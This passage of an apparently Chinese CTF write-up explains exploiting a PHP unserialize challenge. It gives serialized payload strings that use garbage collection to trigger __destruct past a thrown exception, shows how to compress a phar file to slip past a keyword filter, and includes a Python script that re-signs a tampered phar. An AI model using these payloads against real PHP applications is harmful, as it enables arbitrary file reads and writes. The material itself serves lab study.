config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗,我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
前置
__destruct(),类的析构函数
1 主动调用unset($obj)
2 主动调用$obj = NULL
3 程序自动结束
分析代码,其中getflag
的__destruct
方法触发即可得到flag,A
的__destruct
方法触发即可写/tmp/a.txt
或者任意文件读。
当程序抛出异常时,__destruct方法不会执行,也就无法实现文件的写入。
a:2:{i:0;O:4:"test":0:{};i:0;N}
//先将对象赋值给数组0建,再将0赋给另一个值,那么对象就失去了引用
同理
O:1:"A":{s:6:"config";s:1:"w";}
由于unserialize($_GET[0]);
没有被引用,相当于unset,那么就可以绕过异常执行__destruct
正则表达式过滤了伪协议,若直接phar反序列化,那么反序列化对象中依旧会有明文。
https://guokeya.github.io/post/uxwHLckwx
在该文章中提到,有五种能触发phar的操作,我们通过将phar文件压缩为另一种文件格式,这样反序列化依旧能够触发并且数据中不会出现明文从而绕过正则表达式
普通phar
gzip
bzip2
tar
zip
第三步:绕过异常
如果我们直接在phar文件的Metadata写getflag
对象的话,是不能进行反序列化的,因为它反序列化之后会被phar对象的metadata属性引用,不符合unset情况,也就不会直接执行__destruct
这里,我们就需要利用GC(Collecting Cycles)来进行执行__destruct
a:2:{i:0;O:7:"getflag":{}i:0;N;}
考虑反序列化本字符串,我们可以发现,因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]
设置为getflag
对象,同时我们又将Array[0]
设置为null
,这样前面的getflag
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
了。
我们需要在phar文件中写入这样一个字符串
a:2:{i:0;O:7:"getflag":{}i:0;N;}
直接serialize是不行的,因为在序列化之前属性就已经固定了
a:2:{i:0;O:7:"getflag":{}i:1;N;}
我们可以先生成如上序列化字符串,再想办法将i改成0。但是如果直接修改的话会因为签名错误而报错,那么我们可以修改签名
phar签名数据示例:sha1签名修复
from hashlib import sha1
f = open('./ph1.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('ph2.phar', 'wb').write(newf) # 写入新文件
生成phar文件
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?